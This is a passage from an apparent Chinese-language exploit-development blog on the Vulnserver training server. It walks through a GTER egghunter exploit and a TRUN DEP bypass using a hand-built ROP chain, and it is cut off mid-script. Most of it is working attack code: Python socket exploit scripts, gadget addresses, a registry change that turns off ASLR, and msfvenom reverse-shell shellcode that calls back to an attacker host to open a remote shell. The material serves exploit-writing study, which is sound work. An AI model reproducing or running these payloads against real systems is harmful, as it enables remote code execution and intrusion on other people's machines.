En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm'

PAYLOAD = (
b'GTER /.:/' +
pattern_bytes
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

egghunter

查看具体位置:

1
!py mona.py po 41396541

egghunter

最终,需要填充147字符,后续才可以覆盖EIP。修改程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.147'
PORT = 9999

PAYLOAD = (
b'GTER /.:/' +
b'A'*147 +
b'B'*4 +
b'C'*(5060-147-4)
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

egghunter

可以发现,EIP成功被BBBB覆盖。这里需要留意一下,发现我们写入的C字符串只有20个字符的内容保存在栈空间里:

egghunter

也就是说栈空间的大小不足以放下整个shellcode。往栈的延伸方向看:

egghunter

A字符开始的地址为0x01aef949C字符开始的地址为0x01aef9e0,两者相差0xFFFFFF69-151)个字符。查看一下JMP 0xFFFFFF69的机器码:

1
!py mona assemble -s "JMP 0xFFFFFF69"

egghunter

windbg里面得到的这个JMP 0xFFFFFF69错误的。可以用其他方式进行查找:

egghunter

到目前为止,我们的思路为先JMP ESP跳转到C所在区域20字节的栈空间,然后JMP 0xFFFFFF69跳到A字符所在栈空间的开始部分,这里有147个字符。在这个位置放入egghunter

essfunc.dll中寻找JMP ESP指令:(也可用!py jmp -r esp -o -cp nonull在所有加载的模块中参照JMP ESP指令)

1
!py mona jmp -r esp -m "essfunc.dll"

egghunter

就选0x625011af这个地址的JMP ESP指令作为后续利用脚本中的覆盖EIP的值。

生成egghunter

1
!py mona.py egg -t w00t -cpb \x00
1
2
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egghunter

最后,还剩下一个问题,就是shellcode存放的位置,我们能够使用的栈空间不足以存放整个shellcode。考虑到vulnserver服务器,应该是一个多路复用的程序,可以考虑给它发送两个包,其中一个包含egghunter,另一个包含shellcode。这些数据都会存在进程空间中,egghunter可以找到它。

shellcode中坏字符的查找,考虑到0x000xFF共计256个字符,一次没法完全在最终的栈空间中呈现,可以考虑分两次发,只要一次不超过171个字符即可。其中,0x00一定是坏字符。最终,测试发现坏字符仅为0x00

生成shellcode

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter

最终,利用代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.147'
PORT = 9999
egghunter = b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

shellcode = b"w00tw00t"
shellcode += b"\xdb\xc1\xd9\x74\x24\xf4\xbf\xc6\x33\x7b\x2e"
shellcode += b"\x58\x2b\xc9\xb1\x52\x31\x78\x17\x83\xe8\xfc"
shellcode += b"\x03\xbe\x20\x99\xdb\xc2\xaf\xdf\x24\x3a\x30"
shellcode += b"\x80\xad\xdf\x01\x80\xca\x94\x32\x30\x98\xf8"
shellcode += b"\xbe\xbb\xcc\xe8\x35\xc9\xd8\x1f\xfd\x64\x3f"
shellcode += b"\x2e\xfe\xd5\x03\x31\x7c\x24\x50\x91\xbd\xe7"
shellcode += b"\xa5\xd0\xfa\x1a\x47\x80\x53\x50\xfa\x34\xd7"
shellcode += b"\x2c\xc7\xbf\xab\xa1\x4f\x5c\x7b\xc3\x7e\xf3"
shellcode += b"\xf7\x9a\xa0\xf2\xd4\x96\xe8\xec\x39\x92\xa3"
shellcode += b"\x87\x8a\x68\x32\x41\xc3\x91\x99\xac\xeb\x63"
shellcode += b"\xe3\xe9\xcc\x9b\x96\x03\x2f\x21\xa1\xd0\x4d"
shellcode += b"\xfd\x24\xc2\xf6\x76\x9e\x2e\x06\x5a\x79\xa5"
shellcode += b"\x04\x17\x0d\xe1\x08\xa6\xc2\x9a\x35\x23\xe5"
shellcode += b"\x4c\xbc\x77\xc2\x48\xe4\x2c\x6b\xc9\x40\x82"
shellcode += b"\x94\x09\x2b\x7b\x31\x42\xc6\x68\x48\x09\x8f"
shellcode += b"\x5d\x61\xb1\x4f\xca\xf2\xc2\x7d\x55\xa9\x4c"
shellcode += b"\xce\x1e\x77\x8b\x31\x35\xcf\x03\xcc\xb6\x30"
shellcode += b"\x0a\x0b\xe2\x60\x24\xba\x8b\xea\xb4\x43\x5e"
shellcode += b"\xbc\xe4\xeb\x31\x7d\x54\x4c\xe2\x15\xbe\x43"
shellcode += b"\xdd\x06\xc1\x89\x76\xac\x38\x5a\xb9\x99\x4f"
shellcode += b"\x13\x51\xd8\x4f\x32\xfe\x55\xa9\x5e\xee\x33"
shellcode += b"\x62\xf7\x97\x19\xf8\x66\x57\xb4\x85\xa9\xd3"
shellcode += b"\x3b\x7a\x67\x14\x31\x68\x10\xd4\x0c\xd2\xb7"
shellcode += b"\xeb\xba\x7a\x5b\x79\x21\x7a\x12\x62\xfe\x2d"
shellcode += b"\x73\x54\xf7\xbb\x69\xcf\xa1\xd9\x73\x89\x8a"
shellcode += b"\x59\xa8\x6a\x14\x60\x3d\xd6\x32\x72\xfb\xd7"
shellcode += b"\x7e\x26\x53\x8e\x28\x90\x15\x78\x9b\x4a\xcc"
shellcode += b"\xd7\x75\x1a\x89\x1b\x46\x5c\x96\x71\x30\x80"
shellcode += b"\x27\x2c\x05\xbf\x88\xb8\x81\xb8\xf4\x58\x6d"
shellcode += b"\x13\xbd\x79\x8c\xb1\xc8\x11\x09\x50\x71\x7c"
shellcode += b"\xaa\x8f\xb6\x79\x29\x25\x47\x7e\x31\x4c\x42"
shellcode += b"\x3a\xf5\xbd\x3e\x53\x90\xc1\xed\x54\xb1"

PAYLOAD = (
b'GTER /.:/' +
egghunter +
b"A"*(147-len(egghunter)) +
struct.pack("<L",0x625011af) +
b'\xe9\x64\xff\xff\xff' +
b"C"*(5060-147-4-5)
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(shellcode)

利用成功:

egghunter

参考:

1.https://blog.csdn.net/qq_41988448/article/details/102994374

2.https://www.cnblogs.com/wf751620780/p/10460863.html

3.https://blog.csdn.net/whatday/article/details/52782955

4.https://captmeelo.com/exploitdev/osceprep/2018/06/28/vulnserver-gter.html

5.https://fluidattacks.com/blog/vulnserver-gter/

6.https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

这篇和上篇的不同点在于,这里手动构造ROP链。

在寻找ROP gadget的时候,一般会用到rp++,但是在GitHub上编译好的是64位的,所以这里需要自己手动编译。因为我已经安装好VS2019 x86版本,所以想着自带的cmake能够直接用,结果出现与win10 21h2 32位版本不兼容的情况。解决办法就是下载cmake-3.22.2-i386版本(这里我选择了一个当前稳定版里面的最高版,其他版本未测),安装覆盖VS2019自己安装的cmake文件即可。

这里,还有一点需要注意的。必须关闭系统的ASLR。以Win7为例,修改注册表,找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management],创建一个新的值:名字为:MoveImages,类型为:DWORD,值为:00000000

不同系统关闭ASLR的办法参照:https://rehex.ninja/posts/disable-aslr/

win10 21h2 x86下面,rp-win-x86获取的rop gadget地址不对,和mona获取的ROP链对应模块的地址差别很大。rp 2.0以上版本增加了--va参数,可以加上这个参数获取ROP Gadget相对模块基地址的偏移。然后在immunity debugger中获取模块加载时的基地址,两者相加得到ROP Gadget的地址。或者,查看mona生成ROP链的时候,会同时生成一个rop.txt文件,看里面的ROP Gadget也可,地址和immunity debugger中是一一对应的。

ROP链的理解:通过对栈指针和寄存器的操作,不断改变执行流,达到对特定函数的调用、shellcode的执行。

win10 21h2 32构造的不顺利,也想开始有两个寄存器来保存ESP的值,后续方便操作。但是在所有ROP Gadget里面没有找到合适的。其实有个方便的方式,参考mona生成的基于VirtualProtect函数的ROP链模板,自己在ROP Gadget里面寻找合适的即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x755fc77e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76b86a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x775e60d3, # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x7560e8fc, # POP EBP # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x625011af, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x755c37e2, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x7669236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76a87926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x775b422d, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76693798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7754f292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x77638d70, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x62504c95, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x775d77a3, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x7669379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x76692c45, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x76ac6f67, # PUSHAD # RETN [msvcrt.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

以上是mona自动生成的ROP链,注意其中的0x62504c95, # &Writable location [essfunc.dll]。查看模块的地址可以发现,这个地址是essfunc.dllbss段(可读可写)所在位置。

ROP

仔细看这个1000h的空间,找一块没有使用的空间存放shellcode即可。所以可写地址不一定需要是mona生成的那样,可以自己指定其他的,如0x62504210

win 7 sp1 32位和win10 21h2 32位都进行了手动构造ROP链的实验。win7 sp1 32位构造的还算顺利。为加深印象,一步一步来构造整个ROP 链。

构造VirtualProtect函数及参数:首先,获取VirtualProtect的调用地址,在这里调用地址为0x77E22E1D。(查找方法见最后的参考)最终如下所示:

1
2
3
4
5
6
struct.pack('<L', 0x77E22E1D) +   # kernel32.VirtualProtect() essfunc.dll
struct.pack('<L', 0x4c4c4c4c) + # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
struct.pack('<L', 0x45454545) + # lpAddress
struct.pack('<L', 0x03030303) + # dwSize(size of shellcode)
struct.pack('<L', 0x54545454) + # flNewProtect
struct.pack('<L', 0x62506060) + # lpflOldProtect (any writeable address)

上面每个参数的值目前是随机设置的,后续会用正确的值覆盖掉。接下来的主要目标就是寻找合适的POP Gadget组成链,用正确的值覆盖上述VirtualProtect函数5个参数中对应的值。

VirtualProtect函数及变量入栈之后,在其后面可以填充一些\x90。在这里填充4个。

保存ESP的值到多个寄存器中:为了方便对栈空间的操作,可以保存ESP的值到多个寄存器中。这里根据POP Gadget可以保存到EAXECX中。

1
2
0x77bf58fe: push esp ; pop ecx ; ret ; (1 found)
0x41ae3a37: mov eax, ecx ; ret ; (1 found)

保存ESP的值:

ROP

ESP的值存入EAXECX中:

ROP

调整ESP的值,让其指向VirtualProtect参数之后的地址:为了防止VirtualProtect的参数被后续的指令覆盖,需要调整ESP的值,让其跳过VirtualProtect变量所在的区域。这里找到的POP Gadget为:

1
0x6ff821d5: add esp, 0x1C ; ret ; (1 found)

此时,栈空间如下:

ROP

确定不同寄存器指向栈布局上VirtualProtect不同的参数地址:查看栈空间目前的布局,为了让ECX指向return变量所在的栈地址,需要对ECX目前的值进行增加。可以使用如下POP Gadget

1
0x6ff59f14: inc ecx ; ret ; (1 found)

保存在ECXESP初始值(0x019DF9E4)距离return所在栈地址(0x019DF9F0)的距离为C,所以需要重复12次上面的指令。

栈布局中,lpaddress0x019DF9F4)紧跟在return之后,两者地址相差4,所以可以先把ECX保存到EDX,然后对EDX目前的值进行增加。

ECX的值保存到EDXPOP Gadget如下:

1
0x6ffb615a: mov edx, ecx ; pop ebp ; ret ; (1 found)

注意上面后续有个pop ebp的指令,为了不影响我们栈的布局,主要指不会破坏后续的POP Gadget,我们可以在上面指令之后增加4字节的无用数据,这里用\x41\x41\x41\x41代替。

EDX自加的POP Gadget如下:

1
0x77f226c5: inc edx ; ret ; (1 found)

根据前面的分析,需要执行4次上面这个指令。

接下来,让EAX指向shellcode所在地址区域(可为shellcode开头,或shellcode之前的\x90),找到的POP Gadget如下:

1
0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加一个4字节无用数据到栈上,\x41\x41\x41\x41。此时EAX的值为0x019DFAE4

查看栈布局:

ROP

到目前为止:

已经让ECX指向之前布局的栈中,return变量所在的栈地址。

已经让EDX指向之前布局的栈中,lpAddress变量所在的栈地址。

已经让EAX指向最终执行的shellcode所在的地址,可以为shellcode前面填充的\x90所在地址。

覆盖return和lpAddress在栈布局中所保存的值:现在,可以用正确的值覆盖returnlpAddress在栈布局中的所保存的值,也就是之前定义VirtualProtect参数时,随便写的几个值。对应的POP Gadget如下:

覆盖return在栈布局中所在的值:

1
0x6ff63bdb: mov  [ecx], eax ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加4字节无用数据到栈上,\x41\x41\x41\x41

此时,return所在栈地址的值:

ROP

覆盖lpAddress在栈布局中所在的值:

1
0x77e9431b: mov  [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)

此时,lpAddress所在栈地址的值:

ROP

这里存在pop esipop ebp两条指令,需要添加8字节无用数据到栈上,\x41\x41\x41\x41。但是这里有个特别注意的指令:retn 0x000C。这个指令的意思是:先把ESP所指向地址的值存入EIP,再将ESP的值加上0x000C。特别之处在于后续的POP Gadget所在位置为8字节无用数据之后,再接12字节的无用数据,才不会破坏后续POP Gadget的正常指向,如果后续POP GadgetPOP指令,所添加的无用数据放在12字节无用数据之后即可。

指定需要修改权限的内存空间大小:这个值需要参考shellcode的大小,还需要参考填充。这里有个需要注意的地方,空间大小不能太大,看有的说不能超过一个页(4096byte),我这里试了一下,在一个页之内也会出现内存拒绝访问的问题。所以这里需要试几次,一般200h可行。

到目前为止,EAX的值已经不再需要,可以先让EAX清零,然后将内存空间大小的值存入EAX。清零EAXPOP Gadget如下所示:

1
#0x77e0b94b: xor eax, eax ; ret ; (1 found)

现在可以将EAX的值增加到我们需要的大小,POP Gadget如下:

1
#0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加4字节无用数据到栈上,\x41\x41\x41\x41。本地测试发现在这里EAX600h的时候,会出现指定Access violation when executing [01ABFAE4]的错误。其实,只需要计算shellcode的大小,加上填充的NOP大小,然后给EAX一个比它们之和大的值就行。我这里给了500h,其实200h也可。

根据之前VirtualProtect的栈布局,需要修改EDX的值(019DF9F4),让其指向dwSize所在栈地址(019DF9F8)。这里只需要EDX的值增加4即可,选择的ROP Gadget如下:

1
#0x77f226c5: inc edx ; ret ; (1 found)

执行4次,然后利用如下ROP Gadget完成dwSize值得覆盖:

1
#0x77f5335f: mov  [edx], eax ; xor eax, eax ; ret ; (1 found)

此时,dwSize所在栈地址的值:

ROP

可以发现这里还完成了EAX的归零操作,正好为下一步提供了一些便利。

指定内存空间修改权限的值:这个值为固定值0x40EAX已经归零,现在需要把0x40赋值给EAX,可以使用一下ROP Gadget

1
#0x77f17bb2: add eax, 0x20 ; ret ; (1 found)

需要执行两次这条指令。

紧接着,和上一步类似,EDX再次加4,让其指向栈布局的flNewProtect所在栈地址(019DF9FC),ROP Gadget如下所示:

1
#0x77f226c5: inc edx ; ret ; (1 found)

需要执行4次。

然后用EAX的值(0x40)覆盖它所指向的值,ROP Gadget如下所示:

1
#0x77f5335f: mov  [edx], eax ; xor eax, eax ; ret ; (1 found)

此时,flNewProtect所在栈地址的值:

ROP

到目前为止,VirtualProtect的变量值已经全部用正确的值进行了替换,这里lpflOldProtect在最开始定义的时候,选择一个可写的地址即可,后续一系列的ROP Gadget操作不涉及到它。

ESP指向到VirtualProtect函数所在地址:EAX寄存器存入栈布局中VirtualProtect函数所在地址(0x019DF9EC),然后,让ESP指向该地址。

这里观察到ECX的值(0x019DF9F0)距离VirtualProtect所在栈布局中的地址仅差4,这里可以让ECX减掉4。我们这里选择先把ECX的值赋值给EAXROP Gadget如下所示:

1
#0x77f42705: mov eax, ecx ; ret ; (1 found)

然后,将EAX的值减掉4ROP Gadget如下所示:

1
#0x41ac80db: dec eax ; dec eax ; ret ; (1 found)

需要执行两遍。

最终,把EAX的值赋值给ESPROP Gadget如下所示:

1
#0x77d3104a: xchg eax, esp ; ret ; (1 found)

此时,ESP的值为:

ROP

到目前为止,所有的ROP Gadget已经构造和链接完毕。

最后,自己构造的最终ROP链利用脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: n0maj1o24
Tested On: Windows 7 EN SP1 32

"""

import socket
import struct

HOST = '192.168.13.147'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"



# POP Gadget 1
rop = struct.pack('<L', 0x77bf58fe) # 0x77bf58fe: push esp ; pop ecx ; ret ; (1 found)

# POP Gadget 2
rop += struct.pack('<L', 0x77c46d04) # 0x77c46d04: mov eax, ecx ; ret ; (1 found)

# POP Gadget 3
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)


PAYLOAD = (
b'TRUN .' +
b'A' * 2006 +
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
rop+

# Calling VirtualProtect with parameters
struct.pack('<L', 0x77E22E1D) + # kernel32.VirtualProtect() essfunc.dll
struct.pack('<L', 0x4c4c4c4c) + # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
struct.pack('<L', 0x45454545) + # lpAddress
struct.pack('<L', 0x03030303) + # size of shellcode
struct.pack('<L', 0x54545454) + # flNewProtect
struct.pack('<L', 0x62506060) + # pOldProtect (any writeable address)

# Padding between future ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
b"\x90" * 4 +

# POP Gadget 4
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ffb615a)+ #0x6ffb615a: mov edx, ecx ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x50505050)+ #padding

# POP Gadget 5
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 6
struct.pack('<L',0x6ff63bdb)+ #0x6ff63bdb: mov [ecx], eax ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 7 + POP Gaget 8
struct.pack('<L',0x77e9431b)+ #0x77e9431b: mov [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+
struct.pack('<L',0x77e0b94b)+ #0x77e0b94b: xor eax, eax ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+

# POP Gadget 9
